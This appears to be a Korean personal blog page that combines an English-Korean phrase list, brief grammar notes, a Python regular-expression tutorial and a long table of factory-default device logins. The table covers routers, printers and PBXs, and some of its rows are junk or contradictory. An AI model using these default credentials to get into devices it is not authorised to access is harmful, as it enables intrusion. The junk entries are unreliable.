It's on me. It's on the house. 이건 제가 쏘는 겁니다 이것은 주인집에서 그냥 주는 겁니다

It's really bad. 아주 나빠요

It's tough. 터프 하네요. (힘들군요)

It's your turn. 당신 차례입니다


[J]

Just about. 거의 

Just kidding. 그냥 농담이에요

Just looking. 그 냥 보는 거에요

Just a moment. 잠깐 만요


[K]

Keep an eye on this, will you? 이것좀 봐줘여, 그렇래요?

Keep going. 계속 가세요

Keep in touch. 계속 연락해요

Keep it confidential. 대외 비밀로 해 주세요

Keep it to yourself. 당신만 알고 계세요. (비밀로 해 주세요)

Keep looking. 계속해서 찾아 봐요

Keep out of my way. 제 길을 막지 마세요

Keep the change. 잔돈을 가지세요

Keep your chin up! 고개를 드세요. 낙담 하지 마세요 기운을 내요

Knock it off. 그만 두세요


[L]

Large or small? 큰거요 아니면 작은 거요

Let it be! 그렇게 되도록 두지요.

Let me see… 자 어떻게 된건지 보자

Let me think about it. 그것에 대해서 좀 생각 해 봅시다

Let's give him a big hand. 그에게 큰 박수를 보냅시다

Let's call it a day. 오늘은 이것으로 마칩시다

Let's eat out. 자, 외식 하지요

Let's get down to business. 이제 일을 시작 하지요

Let's get together sometime. 언제 같이 모여 보지요

Let's go over it one  more time. 자 한번 더 살펴 보지요

Let's see. 좀 봅시다

Let's split the bill. 나누어서 내지요

Let's try. 한번 해보지요

Look who's here. 아니 이게 누구야

Lucky you! 자네 운이 좋았어 


[M]

Make a way! 길을 비켜 주세요

Make mine well done. 내것은 잘 익도록 해줘요

Make that two, please. 그것을 2 개로 해 주세요

Make yourself at home. 집처럼 편하게 하세요

Many thanks in advance. 미리 감사 드려요

Many thanks. 정말 고마워요

May I interrupt you? 제가 좀 실례를 해도 될까요?

Maybe. 그럴지도 모르지요

Maybe not. 그렇지 않을지도 모르지요

Maybe some other time. 다른 때 해 보자구요.

Me, too. 나도 그래

Money talks. 돈이 만사를 좌우해

Most likely. 아마도 그렇 것입니다

My pleasure. 제 기쁨입니다


[N]

Never better. 아주 좋아요. 최고에요. 

Never mind. 신경쓰지 않아도 되요

Never say die. 죽는다는 소리 마라

Never too late. 언제나 늦지 않습니다

Next time. 다음번에 

Nice meeting you. 만나서 반가워요

Nice talking to you. 좋은 대화 였어요

No kidding. 설마 농담이겠지

No problem. (No sweet) 문제가 아니네요

No sweat. 문제 없어요

No way. 절대 안되요

No wonder. 어쩐지 그렇더라

Not a chance. 기회가 없어요 (절대 안되지요)

Not bad. 나쁘지 않은데요 ( 그런대로 좋군요)

Not really. 그렇지는 않아

Not too good. (Not too bad) 썩 좋지가 않네요 ( 썩 나쁘지 않네요)

Nothing much. 별거 없어

Nothing new. 새로운 것은 없어요

Nothing new about that. 그것에 대해선 새로운게 없어요

Now what? 자 이제는 뭐죠?

Now you are talking. 이제사 바르게 말을 하시는군요


[O]

Occupied. 사용중

Oh, dear! 아니 저런

Okay. 그래. 알았어요.

Okeydokey ( 가까운 사이에서만 사용) 좋아요

On the contrary. 반대로

Once in a blue moon. 아주 가끔요

Ouch! 아야

Out of question. 질문의 여지가 없습니다 (불가능 합니다)


[P]

Pick it up! 주어세요

Please enjoy yourself. 좀 즐겁게 지내세요

Please relax. 좀 느긋해 지세요

Please! 제발

Poor thing. 안스러워요

Pretty good! 정말 좋지요

Really? 정말이에요?

Relax. 좀 느긋해져요.


[S]

Same here. 저도 동감입니다

Same to you. 당신도요

Say cheese! 치즈라고 말하세요

Say hello for me. 나대신 안부 전해줘요

Say that again? 다시 말씀 해 주실래요?

Say when. ( 그만 하기를 원할때 ) when 이라고 하세요

See you later! (Later!) 나중에 봐요

See you. 나중에 봐요

Serious? 진심에요?

Shame on you. 창피 한줄 아세요

She is my style. (She is not my style.) 그녀는 내 타입이에요 


(그녀는 내 타입이 아니에요)

She is very sophisticated. 그녀는 매우 세련되었어요

Shoot! 어서 말해 봐요

Skip it! 다음으로 넘어 가요

So much for that. 이제 그일은 그만 하지요

So soon? 그리 빨리?

So what? 그래서 어떻다는 겁니까?

Sold out. 팔렸어요

Something's fishy. 뭔가 이상한데

Something's never changed. 어떤 것은 정말 안변하는 군

Sorry to bother you. 번거롭게 해서 죄송 합니다

Sorry? (누구의 말을 잘못 이해했을 때) 뭐라구 하셨지요?

Sounds good. 듣기에 좋군요

Speak out. 말좀 크게 하세요

Speaking. 말하세요

Speaking Spanish? 서반어어 하세요?

Stay cool. 진정해요

Stay longer. 좀더 계시지요.

Stay out of trouble. 말썽을 부리지 말아요

Stick around. 옆에 있어 보세요

Stick with it. 표기 하지말고 계속 해 봐요.

Stop complaining. 불평좀 그만 하시지요

Suit yourself! 좋은 대로 하세요

Super. 잘 하는 군요

Sure. 물론

Sure thing. 확실한 것이지요

Sweet dreams. 즐거운 꿈 꾸세요


[T]

Take a guess. (Can you guess?) 맞춰 보세요

Take care! 조심하세요 잘가: 떠날 때

Take my word for it. 그것에 대해서는 내 말을 따라요

Take your time. 천천히 하세요

Tell me about it. 그것에 대해서 한번 말해 보세요

Thank God. 하나님 감사 합니다

Thanks for calling. 전화 주셔서 감사 해요

Thanks for everything. 여러가지로 고마워요

Thanks for the compliment. 칭찬해 주셔서 감사 합니다

Thanks for the ride. 차를 태워다 주어서 고마워요

Thanks, but no thanks. 감사해요, 그러나 사양해요

That depends. 그야 경우에 따라서 이지요

That figures. 알겠네요

That happens. 그런일이 일어나지요

That should help. 도움이 될 것입니다

That sounds good. 듣기에 좋군요

That will be the day. 그렇게 되면 오죽 좋겠어요

That's a steal. 거저 가져 가는 셈이지요 쌉니다

That's all right. 그냥 되었어요

That's all there is to it. 그렇게 하면 되는 그게 전부야

That's all? 그게 전부에요?

That's enough about that. 그 것은 그정도로 충분합니다

That's enough. 이제 되었어요

That's good. 잘 되었어요

That's hard to say. 말하기 곤란 한데요

That's it. 바로 그거야

That's a nice surprise! 이거 뜻밖인데요

That's not fair.(That's unfair) 불공평 합니다

That's right. 맞습니다

That's the way to go. 바로 그겁니다

That's what I mean. 그게 제가 말하는 것이지요

There you are. 여기 있습니다

Things will work out all right. 일이 잘 될 것입니다

This is just between you and me. 우리들 끼리의 비밀입니다

This is not much. 약소 합니다

This is urgent. 긴급입니다

This one ? 이것 말이에요?

Time will tell. 시간이 말해 줄것입니다

Time's up. 이제 시간이 되었어요

Too bad! 안 되었군요

Too expensive. 너무 비싸네

To the best of my knowledge~ 내가 알기로는~

Trust me. 나를 믿으세요

Try again. 다시 해 보세요


[U]

Uh-uh 오오 아닌데요

Unbelievable. 믿을 수가 없네

Up to here. (목까지 손으로 대어 보이면서)폭발 일보전이다

Up, or down? 올라가요? 아니면 내려가요?


[W]

Wait a minute. 잠시만 기다리세요

Watch out! 위험해, 주의해요

Watch your language. 말 조심해요

We are in the same boat. 우리는 같은 처지/운명이지요

Welcome home! 집에 온것을 환영합니다

Well done. 잘 했어요

What a nerve! 뻔뻔 하군요

What a relief! 이제 맘이 놓인다

What a shame. 이게 무슨 창피한 노릇인가?

What about it? 그게 어떤데요?

What about you?(What about me?) 당신은 어때요? (나는 어때요?)

What brings you here. 어떻게 오셨지요?

What did you say? 뭐라구요?

What do you do? 직업이 뭐지요?

What do you know? 무엇을 알고 있지요?

What do you mean? 무슨 의미지요?

What do you say? 뭐라고 하실래요? 어떠세요?

What do you think of it? 이것에 대해서 뭐라고 생각 하세요?

What do you think? 무엇이라고 생각 하세요?

What for? (For what?) 뭐 때문이지요?

What is it? 무슨 일이지요?

What makes you say that? 무슨 근거로 그렇게 말 하세요?

What time is it? 몇시지요?

What? 뭐라구요?

What’s it called? 그것을 뭐라고 부르지요?

What’s today's special? 오늘 특선 요리가 뭐지요?

Whatever you say. 뭐라고 하시던지요

What's happening? 어떻게 지내요?

What's new? 그동안 새로운 거 있었어요?

What's the big deal? 뭐가 그 난리에요?

What's the point? 요점이 뭐지요?

What's up? 어떠세요?

What's wrong? 뭐가 문제야요?

When? 언제?

Where are we? 우리가 어디에 있지요?

Where did you stay? 어디에 머물렀지요?

Where do you live? 어디에 사세요?

Where is a drugstore? 약국이 어디에 있지요?

Where to ? 어디로?

Which one ? 어느 것이요?

Who cares! 알게 뭐야 상관하지 않아

Who is it? 누구시지요?

Who knows? 누가 알겠어

Who's there? 거기 누구죠?

Who's calling? (전화를 받으면서) 누구시지요?

Why didn't I think of that? 왜 그걸 생각 못했지?

Why not? 왜 않되겠어/왜 않되는데 ?


Why? 왜 요?

Win-win situation. 둘다 이기는 셈이지요

With pleasure. 기쁨으로 해 드리지요

Would you like some? 좀 해 볼래요?

Wow! 와우


[Y]

Yeah. Yes 네, 

Yes and no. yes 나 no 라고 할 수 없네요

You are a lucky duck. 당신은 행운아 입니다

You are driving me crazy. 나를 신경질 나게 만드네요

You are getting better. 당신은 점점 좋아지네요

You are soaked! 흠뻑 젖었군요

You are teasing me. 나를 놀리시는 군요

You're telling me. (당신이 말 안해도 ) 안 들어도 알고 있어요

You are too much. 당신 너무 하는 군요

You bet. (내기를 해도 좋울 만치 좋을) 틀림 없어요 물론이지요

You bet? 내기 할래? 

You cannot fool me. 날 속이지는 못하지요

You can say that again. 지당한 말씀이지요

You first. 먼저 하세요

You flatter me. 칭찬이 과하시네요

You have a wrong number. 전화를 잘 못 거셨어요

You got it. 이해를 하셨군요

You have lost me. 저를 놓치셨어요. (제가 말을 놓쳤네요)

You look good. 좋아 보이네요

You must be crazy. 당신은 미쳤군요

You name it. 말씀만 하세요

You said it. 말한게 맞아요

You should get in shape. 몸을 좀 가꾸는게 좋겠는데요

You stay out of it. 넌 이것에 끼어 들지 마

You went too far this time. 이번엔 좀 과하셨군요

You win. 당신이 이겼어요

You're wasting your time. 당신은 당신의 시간만 낭비 하고 있어요

You're welcome. 천만에요

Posted by k1rha
2014. 3. 22. 13:54

if you say that someone or something is pretentious

you mean that they try to seem imporatant or significant

but you do not think that they are. 


누군가 본인이 굉장히 중요하게 보이려 노력하지만

다른 이들은 그렇게 생각하지 않을때 pretentious라고말한다.


== 허세부리는!!


pretentious nonsense 허세로 가득한 헛소리

pose pretentiously 거만하게 포즈를 취하다

tendency towards pretentiousness 허세를 부리는 경향



Posted by k1rha
2014. 3. 18. 08:55

I prefer studying to sleeping.  : 나는 잠자는 것보다 공부하는 것을 선호한다. 

동명사 대신 to 부정사를 써줘도 된다. 


I prefer to study to to sleep  -> To 가 반복된다.   이문제점을 해결하기 위해서 rather than .. 을 사용하여 비교한다.


-> I prefer to study rather than (to) sleep.


ex) I prefer to wake up ealy tather than sleep in ~ 

ex) children prefer to watch television rather than read.

 

prefer는 진행형으로 쓸 수 없다. 


Posted by k1rha
2014. 3. 17. 22:54

prefer ~ 을 더좋아하다는

화자가 A와 B중 어느것을 더 선호하는지를 비교하는 것이다.


Prefer A to B 


A prefer B  : A는 B를 선호한다.  // 100%활용을 못하고 있는것이다.

-> A가 B라는 대상을 "어떠한 것보다 선호하는지가 안밝혀짐 

-> 이럴때 사용하는것이 TO 이다.


A prefer B to C  : A는 B를 C보다 선호한다. 



좋은 표현 : being idle  게으르게 느러져 있다. 

Jain prefer working to being idle ! 


Posted by k1rha
2014. 2. 4. 21:32
  • .(점)은 어떤 문자이건 하나의 문자를 가리킨다. (new line 제외)
  • \w 는 대소문자와 밑줄을 포함하는 모든 영숫자 [a-zA-Z0-9_]를 가리킨다.
  • \s 는 space, tab 등 white space 를 가리킨다. (\S 는 non-whitespace)
  • + 는 1개 또는 그 이상을 가리킨다.
  • * 는 0 개 또는 그 이상을 가리킨다.
  • ? 는 0 개 또는 1 개를 가리킨다.
  • \ 는 특수문자를 표현하는 용도로 사용되지만, 특수문자앞에서는 특수문자의 사용을 제외하고 문자자체를 나타내도록 한다.


>>> import re                                              # re 모듈 import


>>> match = re.search('iig', 'called piig');     # search 를 이용하여 iig 문자열 검색

>>> match.group()                                      # search 결과 match object 의 group 함수 이용

'iig'

>>> type(match)                                         # search 의 return 형이 match object 임

<type '_sre.SRE_Match'>

>>> match

<_sre.SRE_Match object at 0x2b26d13dcbf8>


>>> match = re.search('igs', 'called piig');    # 없는 문자열 검색

>>> match.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'

>>> type(match)                                         # 검색 후 return 형을 확인해보니 NoneType

<type 'NoneType'>                                      # 이는 검색 결과가 없다는 것임.


>>> match = re.search('..g', 'called piig');     # . 은 하나의 문자를 가리킴. 즉 앞에 아무문자나

>>> match.group()                                      # 두문자가 온 후 그 다음 문자가  g 인 것을 검색

'iig'


>>> match = re.search('i..g', 'called piig');    # i 와 g 사이에 문자 두개가 있는 것을 검색

>>> match.group()                                      # 결과가 없는 것임. NoneType

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> match = re.search('p..g', 'called piig');           # p 와 g 사이 문자 두개

>>> match.group()

'piig'


>>> match = re.search('a.c', 'a.c called piig');      # a 와 c 사이에 한문자가 있는 문자열 검색

>>> match.group()

'a.c'


>>> match = re.search('a\.c', 'a.c called piig');   # a 와 c 사이 .(점) 문자가 있는 문자열 검색

>>> match.group()

'a.c'


>>> match = re.search('a.c', 'abc called piig');     # a 와 c 사이에 한문자가 있는 문자열 검색

>>> match.group()

'abc'


>>> match = re.search('a\.c', 'abc called piig');   # a.c 라는 문자열 검색 (\. 은 . 문자)

>>> match.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> match = re.search(':\w\w', 'abc called :piig');  # : 문자 뒤에 두개의 아무문자나

>>> match.group()

':pi'


>>> match = re.search(':[\w]+', 'abc called :piig');  # : 문자뒤에 아무문자나 1 개 이상 붙은것

>>> match.group()

':piig'


>>> match = re.search('(\d\d\d)-(\w\w\w)', '123-abc');  # 2 개의 pattern group 검색

>>> match.groups()                               # 결과로 리턴된 group 을 tuple 로 묶어서 보여줌.

('123', 'abc')

>>> match.group()                                 # 결과 리턴된 각 group 의 string 을 연결해서 보여줌

'123-abc'

>>> match.group(0)                                # 0 번째 group 은 없고 match.group() 과 같은 결과

'123-abc'

>>> match.group(1)                                # 첫번째 group (element)을 string 으로 리턴

'123'

>>> match.group(2)                                # 두번째 group (element)을 string 으로 리턴

'abc'


>>> match = re.search('(ab)','ab');          # 하나의 pattern group 만으로 검색

>>> match.groups()                                # tuple 의 element 는 하나임

('ab',)

>>> match.group(1)

'ab'

>>> match.group(2)

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

IndexError: no such group


>>> match = re.search('(aaa).(bbb)@(cc.)', '  aaa.bbb@ccx');  # 3 개의 group 검색

>>> match.groups()

('aaa', 'bbb', 'ccx')


>>> m = re.search('([\w.]+)@([\w.]+)', 'blah dp.lee.dp.lee@gmail.com yyxdf @ aa@xx')

>>> m.groups()

('dp.lee.dp.lee', 'gmail.com')

>>> m.group(1)

'dp.lee.dp.lee'

>>> m.group(2)

'gmail.com'


>>> import re

>>> bool(re.match('[0-9]', '    77'))                     # 첫 문자가 안맞으면 false

False

>>> bool(re.search('[0-9]', '    77'))                   # 문자열 전체 검색이므로 있으면 true

True


>>> m = re.findall('([\w.]+)@([\w.]+)', 'blah dp.leedp.lee@gmail.com yyxdf @ aa.xx@xx.net')

>>> m.groups()                                                 # 결과는 match object 가 아니기 때문에

Traceback (most recent call last):                        # groups 나 group 같은 함수가 없음.

  File "<stdin>", line 1, in <module>

AttributeError: 'list' object has no attribute 'groups'

>>> m.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'list' object has no attribute 'group'


>>> m

[('dp.leedp.lee', 'gmail.com'), ('aa.xx', 'xx.net')]  # 결과는 각 pattern group 결과(tuple)가

                                                                         # List 로 묶여진 것임.

                                                                         # 이후 m 은 List 연산들을 자유롭게 수행.


>>> m = re.search('AA', '  aa bb cc')                    # default option 으로 사용하면

>>> m.group()                                                     # 대소문자 구분해서 아무것도 못찾음

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> m = re.search('AA', '  aa bb cc', re.I)            # re.I 옵션을 사용하니 대소문자 미구분

>>> m.group()                                                    # case-insensitive 라고 하죠.

'aa'

Posted by k1rha
2014. 1. 23. 19:17

정규식은 매번 문제를 풀거나, 사용할 때마다 뒤져보게 되는듯...

머리가 안좋은건가..-_-


출처 : [ http://www.nextree.co.kr/p4327/ ]




Posted by k1rha
2014. 1. 2. 10:58
VendorModelVersionAccess TypeUsernamePasswordPrivilegesNotes

 

Deutsch TelekommT-Sinus 130 DSLHTTP(none)0Admin
inchoninchoninchonMultiadminadminAdmininchon
Benqawl 700 wireless router1.3.6 Beta-002MultiadminadminAdmin
Konica/ MinoltaDi 2010fn/aHTTPn/a0AdminPrinter configuration interface
SybaseEAServerHTTPjagadmin(none)AdminSource : Manufactor documentation
LogitechLogitech Mobile HeadsetBluetooth(none)0audio accessThierry Zoller (Thierry@sniff-em.com)
CiscoCiso Aironet 1100 seriesRev. 01HTTP(none)CiscoAdmin
HPISEEMultiadminiseeAdmin
IBM3583 Tape LibraryHTTPadminsecureAdmin
Asuswl503gAllHTTPadminadminAdmin
Asuswl500AllHTTPadminadminAdmin
Asuswl300AllHTTPadminadminAdmin
SigmaSigmacoma IPshareSigmacom router v1.0HTTPadminadminAdmineffes2004@gmail.com
RicohAficio 2228cMultisysadminpasswordAdminWebpage admin
LinksysWAP54G2HTTP(none)adminAdmin
WestellWirespeedMultiadminpasswordAdminalso try password: sysAdmin
Konica Minoltamagicolor 2430DLAllMulti(none)(none)AdminTaken from reference manual for product
KTIKS-2260Telnetsuperuser123456special CLIcan be disabled by renaming the regular login name to superuser
OracleOracle RDBMSAnyMultisystem/managersys/change_on_installAdmin
InfosmartSOHO routerHTTPadmin0Admin
PansonicKXTD1232Multiadmin1234Admin
ArecaRAID controllersConsoleadmin0Admin
AvayaDefinityMultidadmindadmin01Admin
Allied TelesynALAT8326GBMultimanagermanagerAdmin
SunCobaltHTTPadminadminAdminsubmit by Nabil Ouchn
iblitzzBWA711/All ModelsAllHTTPadminadminAdminThis Information Works On All Models Of The Blitzz Line
Netgeardg834gHTTPadminpasswordAdminit should be work also with dg834gt
E-ConEcon DSL RouterRouteradminepicrouterAdminDSL Router
Allied TelesynAT8016FConsolemanagerfriendAdmin
DellLaser Printer 3000cn / 3100cnHTTPadminpasswordAdmin
Sonic-XSonicAnimeonTelnetrootadminAdmin1.01E+14
SiemensSpeedStream 4100HTTPadminhagpolm1AdminDSL Modem and Router
WanadooLiveboxMultiadminadminAdmin
PirelliPirelli AGE-SBHTTPadminsmallbusinessAdmin
McDataFC Switches/DirectorsMultiAdministratorpasswordAdmin
BBR-4MG and BBR-4HGBUFFALOALLHTTProotn/aAdmin
SwissvoiceIP 10STelnettargetpasswordAdmin
creative2015UMultin/a(none)Admin
Tandberg DataDLT8000 Autoloader 10xConsolen/a10023Maintenance
IBMInfoprint 6700http://www.phenoelit.de/dpl/dpl.htmlMultiroot(none)AdminAlso works for older 4400 printers and probably Printronics equivalents as well.
ASUSWL-500G1.7.5.6HTTPadminadminAdmin
Phoenix v1.14Phoenix v1.14MultiAdministratoradminAdmin
asusWL500gHTTPadminadminAdmin
SymbolAP-2412Multin/aSymbolAdmin2Mbps FH AccessPoint
SymbolAP-3020Multin/aSymbolAdmin2Mbps FH AccessPoint
SymbolAP-4111Multin/aSymbolAdmin11Mbps DS AccessPoint
SymbolAP-4121Multin/aSymbolAdmin11Mbps DS AccessPoint
SymbolAP-4131Multin/aSymbolAdmin11Mbps DS AccessPoint
telindustelindus2002TelnetadminadminAdmin
us roboticadsl gateway wireless routerwireless routersupportsupportsuper user accessI find it on a manual
D-LinkDsl-300g+TeoTelnet(none)privateAdmin
D-LinkDSL-300g+TeoHTTPadminadminAdmin
BillionBIPAC-640 AC640AE100HTTP(none)(none)Admin
Blue Coat SystemsProxySG3.xHTTPadminarticonAdminaccess to command line interface via ssh and web gui
KTIKS2600Consoleadmin123456Admin
KTIKS2260Consoleadmin123Admin
ExabyteMagnum20FTPanonymousExabyteAdmin
SorensonSR-200HTTP(none)adminAdmin
D-LinkDI-524allHTTPadmin(none)Adminhttp://192.168.0.1
McAfeeSCM 31004.1MultiscmadminscmchangemeAdmin
Zebra10/100 Print ServerMultiadmin1234Admin
appleairport51.0.09MultirootadminAdmin192.168.1.1
XeroxDocuCentre 425HTTPadmin22222Adminworks for access panel 2
NOKIA7360Multi(none)9999Admin
Advantek NetworksWireless LAN 802.11 g/bMultiadmin(none)Adminhttp://www.advanteknetworks.com/
ZyXELPrestige 900HTTPwebadmin1234Admin192.168.1.1:8080
LGAria iPECSAllConsole(none)janniemaintenancedealer backdoor password
Corecess6808 APCTelnetcorecesscorecessUser
NRG or RICOHDSc338 Printer1.19HTTP(none)passwordAdminno user
XeroxDocument Centre 405-HTTPadminadminAdmin
ProximOrinoco 600/2000AllHTTP(none)(none)AdminWLAN accesspoint
SMCRouter/ModemBR7401MultiadminbarricadeAdmin
NetgearRouter/ModemMultiadminpasswordAdmin
NullsoftShoutcast01/09/2005PLSadminchangemeAdmin
ConexantRouterHTTPn/aepicrouterAdmin
Network EverywhereNWR11BHTTP(none)adminAdmin
NetgearMR314Multiadmin1234Admin
AethraStarbridge EUHTTPadminpasswordAdmin
Milanmil-sm801pMultirootrootAdmin
cisco2600TelnetAdministratoradminAdmin
giga8ippro1000MultiAdministratoradminAdmin
NetgearGSM7224HTTPadmin(none)Admin
GericomPhoenixMultiAdministrator(none)Admin
Bausch DatacomProxima PRI ADSL PSTN Router4 WirelessMultiadminepicrouterAdmin
Sun MicrosystemsILOM of X41001HTTProotchangemeAdmin
dlinkadslHTTPadminadminAdmin
ConexantRouterHTTPn/aadminAdminyes
EdimaxES-5224RXMMultiadmin123Admin
IronPortMessaging Gateway ApplianceMultiadminironportAdmin
3com812HTTPAdministratoradminAdmin
AsanteFM2008MultiadminasanteAdmin
BroadlogicXLT routerHTTPwebadminwebadminAdmin
BroadlogicXLT routerTelnetadminadminAdmin
BroadlogicXLT routerTelnetinstallerinstallerAdmin
CiscoAironetMulti(none)_CiscoAdmin
CiscoAironetMultiCiscoCiscoAdmin
CiscoHSEMultirootblenderAdmin
CiscoHSEMultihsahsadbAdmin
CiscoWLSEMultirootblenderAdmin
CiscoWLSEMultiwlsewlsedbAdmin
DigicomMichelangeloMultiadminmichelangeloAdmin
DigicomMichelangeloMultiuserpasswordUser
EnterasysVertical HorizonVH-2402SMultitigertiger123Admin
PentaofficeSat RouterTelnet(none)pentoAdmin
PirelliAGE ADSL RouterMultiadminmicrobusinessAdmin
PirelliAGE ADSL RouterMultiuserpasswordUser
System/32VOSMultiinstallsecretAdmin
TandemTACLMultisuper.super(none)Admin
TandemTACLMultisuper.supermasterAdmin
VxWorksmiscMultiadminadminAdmin
VxWorksmiscMultiguestguestGuest
WangWangMultiCSGSESAMEAdmin
WestellWangMultiCSGSESAMEAdmin
WestellWirespeed wireless routerMultiadminsysAdminAdmin
3COMCoreBuilder7000/6000/3500/2500Telnetn/aadminAdmin
CNETCNET 4PORT ADSL MODEMCNAD NF400MultiadminepicrouterAdmin
SMCSMCWBR14-GSMCWBR14-GHTTP(none)smcadminAdmin
asmackrouterar804uHTTPadminepicrouterAdmin
JAHTadsl routerAR41/2AHTTPadminepicrouterAdmin
D-Linkfirewalldfl-200HTTPadminadminAdmin
ovislinkWL-1120APMultiroot(none)Admin
LinksysWRT54GAll RevisionsHTTP(none)adminAdmin
canyonrouterMultiAdministratoradminAdmin
3COMCoreBuilder7000/6000/3500/2500Telnetn/a(none)Admin
KalatelCalibur DSR-2000eMultin/a3477Admin
KalatelCalibur DSR-2000eon-screen menu systemn/a8111restore factory defaults
IBMT20Multin/aadminAdmin
3comofficeconnectMultiadmin(none)Admin
3comoffice connect11gMultiadmin(none)User
AsusWL500g DeluxeHTTPadminadminAdmin
IBMIBMMultin/a(none)Admin
PentagramCerberus ADSL modem + routerHTTPadminpasswordAdmin
SMCModem/RouterHTTPcusadminhighspeedCustomer AdminComcast Commercial High Speed Modem model number 8013WG
ihoioihohlknlknHTTPAdministratorpilouAdmin
corecess3113Multiadmin(none)Admin
AXUSAXUS YOTTAMultin/a0AdminStorage DAS SATA to SCSI/FC
D-linkDSL500GMultiadminadminAdmin
AsusP5P800Multin/aadminUser
DellRemote Access CardHTTProotcalvinAdmin
d-linkdi-524HTTPadmin(none)Admin
ionnelunelMultin/aadminAdminvreau ceva
ionnelunelMultiAdministratoradminAdminvreau ceva
D-linkDSL-504THTTPadminadminAdmin
PlanetADE-4110HTTPadminepicrouterAdmin
PlanetXRT-401DHTTPadmin1234Admin
ASMAXAR701u / ASMAX AR6024HTTPadminepicrouterAdmin
ASMAXAR800C2HTTPadminepicrouterAdmin
ASMAXAR800C2HTTPadminepicrouterAdmin
D-linkDSL-G604TMultiadminadminAdmin
CiscoAironet 1200HTTProotCiscoAdmin
D-linkDi-707p routerHTTPadmin(none)Admin
Linksysmodel WRT54GC compact wireless-G broadband routerMulti(none)adminAdmin
Minolta QMSMagicolor 31003.0.0HTTPoperator(none)Admin
IBMRemote Supervisor Adapter (RSA)HTTPUSERIDPASSW0RDAdmin
IBMBladeCenter Mgmt ConsoleHTTPUSERIDPASSW0RDAdmin
DraytekVigor 2600HTTPadmin(none)Admin
LGLAM200E / LAM200RMultiadminepicrouterAdmin
LinksysAG 241 - ADSL2 Gateway with 4-Port SwitchMultiadminadminAdmin
Micronet3351 / 3354MultiadminepicrouterAdmin
PlanetADE-4000MultiadminepicrouterAdmin
SAGEMFAST 1400MultiadminepicrouterAdmin
SMC7204BRAMultismcsmcadminAdmin
U.S. RoboticsSureConnect 9003 ADSL Ethernet/USB RouterMultiroot12345Admin
U.S. RoboticsSureConnect 9105 ADSL 4-Port RouterHTTPadminadminAdmin
3COMOfficeConnect ADSL Wireless 11g Firewall Router3CRWDR100-72HTTP(none)adminAdminhttp://192.168.1.1
ZyXELPrestige 645HTTPadmin1234Admin
olitec (Trendchip)sx 202 adsl modem routerHTTPadminadminAdminFirmware: 2.7.0.9(UE0.B1C)3.3.0.23
EntrustgetAccess4.x and 7.xWeb Admin guiwebsecadmchangemeAdminAccess to Admin Gui via /sek-bin/login.gas.bat
Cable And WirelessADSL Modem/RouterMultiadmin1234Admin
Telco SystemsEdge Link 100Consoletelcotelcotelco
ZyXEL ZyWALL SeriesPrestige 660R-61CMultin/aadminAdmin
DI624D-LINKC3HTTPadminpasswordAdminhardcoded for Verizon FiOS
SMCSMCWBR14-GHTTPn/asmcadminAdminmentioned password (no passwd) on your webpage is wrong
RicohAficio AP3800C2.17HTTP(none)passwordAdminalternative to sysadmin and Admin
WyseWinterm 3150VNCn/apasswordAdminby satadru
RicohAficio 2232CTelnetn/apasswordAdmin
edimaxwireless adsl routerAR-7024MultiadminepicrouterAdmin
Deutsche TelekomT-Sinus 154 DSL13.9.38HTTP(none)0Adminthx to AwdCzAb
AsmaxAr-804uHTTPadminepicrouterAdmin
aztechDSL-600EHTTPadminadminAdmin
comtrendct536+Multiadmin(none)Admin
Quintum Technologies Inc.Tenor SeriesallMultiadminadminAdmin
AlcatelOmniPCX Office4.1FTPftp_instpbxk1064Installer
AlcatelOmniPCX Office4.1FTPftp_admikilo1987Admin
AlcatelOmniPCX Office4.1FTPftp_operhelp1954Operator
AlcatelOmniPCX Office4.1FTPftp_nmctuxalizeNMC
NetgearADSL Modem DG632V3.3.0a_cxHTTPadminpasswordAdmin
Allied TelesynAT-AR130 (U) -10HTTPManagerfriendAdminDefault IP is 192.168.242.242
MikrotikRouter OS02/09/2017HTTPadmin(none)Admin
NetgearWGT634UHTTPadminpasswordAdmin
D-LinkDI-524allHTTPuser(none)User
RicohAP410N1.13HTTPadmin(none)Admin
3ware3DMHTTPAdministrator3wareAdmin
NetgearFWG114PMultin/aadminpassword
ALCATEL4400Consolemtcl(none)User
NetgearGS724tV1.0.1_1104HTTPn/apasswordAdmin
CTC UnionATU-R13081001aMultirootrootAdmin
3ComShark FinComcast-suppliedHTTPUserPasswordDiagnostics page192.160.100.1
Scientific AtlantaDPX2100Comcast-suppliedHTTPadminw2402diagnostics page192.168.100.1
TerayonUnknownComcast-suppliedHTTP(none)(none)diagnostics page192.168.100.1/diagnostics_page.html
TerayonUnknownComcast-suppliedHTTP(none)(none)diagnostics page192.168.100.1/diagnostics_page.html
LinksysComcastComcast-suppliedHTTPcomcast1234diagnostics192.168.0.1/docsisdevicestatus.asp
NetGearComcastComcast-suppliedHTTPcomcast1234diagnostics page192.168.0.1/docsisdevicestatus.html
ZyxelPrestige 660HWMultiadminadminAdmin
AtlantisA02-RA141MultiadminatlantisAdmin
AtlantisI-Storm Lan Router ADSLMultiadminatlantisAdmin(submit by fedematico)
LinksysWAG54GSMultiadminadminAdmin
IBMT42HTTPAdministratoradminAdmin
HuaweiMT880rMultiTMAR#HWMT8007079(none)Adminmpacheco.inimigo.com
OKIC5700HTTProotthe 6 last digit of the MAC adressAdminrunning with other models
SagemF@st 1200 (Fast 1200)Telnetroot1234Userroot/1234
Minolta QMSMagicolor 31003.0.0HTTPadmin(none)AdminGives access to Accounting
RicohAficio 2020DHTTPadminpasswordAdmin
JuniperISG2000MultinetscreennetscreenAdminJust a note - netscreen is now made by Juniper - otherwise no change
Linksys/ CiscoRTP300 w/2 phone ports1HTTPadminadminAdmin
Linksys/ CiscoRTP300 w/2 phone ports1HTTPusertivonpwupdate accessuse for flashing firmware
samsungmodem/routeraht-e300MultiadminpasswordAdminafter reset
mediatrix 2102mediatrix 2102HTTPadmin1234Admin
DraytekVigor 2900+HTTPadminadminAdmin
smcsmc 7904BRAMulti(none)smcadminAdmin
DLINK604Multin/aadminAdmin
ZyXelPrestige P660HWMultiadmin1234Admin
